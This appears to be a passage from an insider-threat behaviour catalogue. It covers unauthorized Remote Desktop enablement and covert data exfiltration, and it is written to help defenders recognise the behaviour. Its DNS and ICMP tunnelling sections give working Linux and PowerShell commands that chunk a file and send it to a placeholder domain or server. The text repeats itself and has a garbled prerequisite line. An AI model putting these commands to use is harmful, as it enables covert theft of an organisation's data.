Protocol Allow Listing

The subject initiates configuration or usage of Remote Desktop Protocol (RDP) to enable remote control of an endpoint or server, typically for purposes not sanctioned by the organization. This activity may include enabling RDP settings through system configuration, altering firewall rules, adding users to RDP groups, or initiating browser-based remote access sessions. While RDP is commonly used for legitimate administrative and support purposes, its unauthorized configuration is a well-documented preparatory behavior preceding data exfiltration, sabotage, or persistent unauthorized access.

RDP can be enabled through local system settings, remote management tools, or even web-based services that proxy or tunnel RDP traffic through HTTPS. Subjects may configure RDP access for themselves, for a secondary device, or to facilitate third-party (external) involvement in insider threat activities.

A subject exfiltrates data from an organization by encapsulating or hiding it within an otherwise legitimate protocol. This technique allows the subject to covertly transfer data, evading detection by standard security monitoring tools. Commonly used protocols, such as DNS and ICMP, are often leveraged to secretly transmit data to an external destination.

DNS Tunneling (Linux)
A simple example of how DNS tunneling might be achieved with 'Living off the Land' binaries (LoLBins) in Linux:
 

Prerequisites:

• A domain the subject controls or can use for DNS queries.
• A DNS server to receive and decode the DNS queries.

Steps:

1. The subject uses xxd to create a hex dump of the file they wish to exfiltrate. For example, if the file is secret.txt:

xxd -p secret.txt > secret.txt.hex
 

2. The subject splits the hexdump into manageable chunks that can fit into DNS query labels (each label can be up to 63 characters, but it’s often safe to use a smaller size, such as 32 characters):

split -b 32 secret.txt.hex hexpart_

3. The subject uses dig to send the data in DNS TXT queries. Looping through the split files and sending each chunk as the subdomain of example.com in a TXT record query:

for part in hexpart_*; do
   h=$(cat $part)
   dig txt $h.example.com
done

On the target DNS server that they control, the subject captures the incoming DNS TXT record queries on the receiving DNS server and decode the reassembled hex data from the subdomain of the query.

DNS Tunneling (Windows)
A simple example of how DNS tunneling might be achieved with PowerShell in Windows:

Prerequisites:

• A the subject you controls.
  A DNS server or a script on the subjects server to capture and decode the DNS queries.

Steps:
1. The subject converts the sensitive file to hex:

$filePath = "C:\path\to\your\secret.txt"
$hexContent = [System.BitConverter]::ToString([System.IO.File]::ReadAllBytes($filePath)) -replace '-', ''

2. The subject splits the hex data into manageable chunks that can fit into DNS query labels (each label can be up to 63 characters, but it’s often safe to use a smaller size, such as 32 characters):

$chunkSize = 32
$chunks = $hexContent -split "(.{$chunkSize})" | Where-Object { $_ -ne "" }

3. The subject sends the data in DNS TXT queries. Looping through the hex data chunks and sending each chunk as the subdomain of example.com in a TXT record query:

$domain = "example.com"

foreach ($chunk in $chunks) {
   $query = "$chunk.$domain"
   Resolve-DnsName -Name $query -Type TXT
}

The subject will capture the incoming DNS TXT record queries on the receiving DNS server and decode the reassembled hex data from the subdomain of the query.

ICMP Tunneling (Linux)
A simple example of how ICMP tunneling might be achieved with 'Living off the Land' binaries (LOLBins) in Linux:
 

Prerequisites:

• The subject has access to a server that can receive and process ICMP packets.
• The subject has root privileges on both client and server machines (as ICMP usually requires elevated permissions).

Steps:

1. The subject uses xxd to create a hex dump of the file they wish to exfiltrate. For example, if the file is secret.txt:

xxd -p secret.txt > secret.txt.hex

2. The subject splits the hexdump into manageable chunks. ICMP packets have a payload size limit, so it’s common to use small chunks. The following command will split the hex data into 32-byte chunks:
 

split -b 32 secret.txt.hex hexpart_

3. The subject uses ping to send the data in ICMP echo request packets. Loop through the split files and send each chunk as part of the ICMP payload:

DESTINATION_IP="subject_server_ip"
for part in hexpart_*; do
   h=$(cat $part)
   ping -c 1 -p "$h" $DESTINATION_IP
done

The subject will capture the incoming ICMP packets on the destination server, extract the data from the packets and decode the reassembled the hex data.

The subject initiates configuration changes to enable Remote Desktop Protocol (RDP) or Remote Assistance on a Windows system, typically through the System Properties dialog, registry modifications, or local group policy. This behavior may indicate preparatory actions to grant unauthorized remote access to the endpoint, whether to an external actor, co-conspirator, or secondary account.

Characteristics

Subject opens the Remote tab within the System Properties dialog (SystemPropertiesRemote.exe) and enables:

• Remote Assistance
  Remote Desktop

May configure additional RDP-related settings such as:

• Allowing connections from any version of RDP clients (less secure)
  Adding specific users to the Remote Desktop Users group
  Modifying Group Policy to allow RDP access

Often accompanied by:

• Firewall rule changes to allow inbound RDP (TCP 3389)
  Creation of local accounts or service accounts with RDP permissions
  Disabling sleep, lock, or idle timeout settings to keep the system continuously accessible

In some cases, used to stage access prior to file exfiltration, remote control handoff, or backdoor persistence.

Example Scenario

A subject accesses the Remote tab via SystemPropertiesRemote.exe and enables Remote Desktop, selecting the “Allow connections from computers running any version of Remote Desktop” option. They add a personal email-based Microsoft account to the Remote Desktop Users group. No help desk ticket or change request is submitted. Over the following days, successful RDP logins are observed from an IP address outside of corporate VPN boundaries, correlating with a data transfer spike.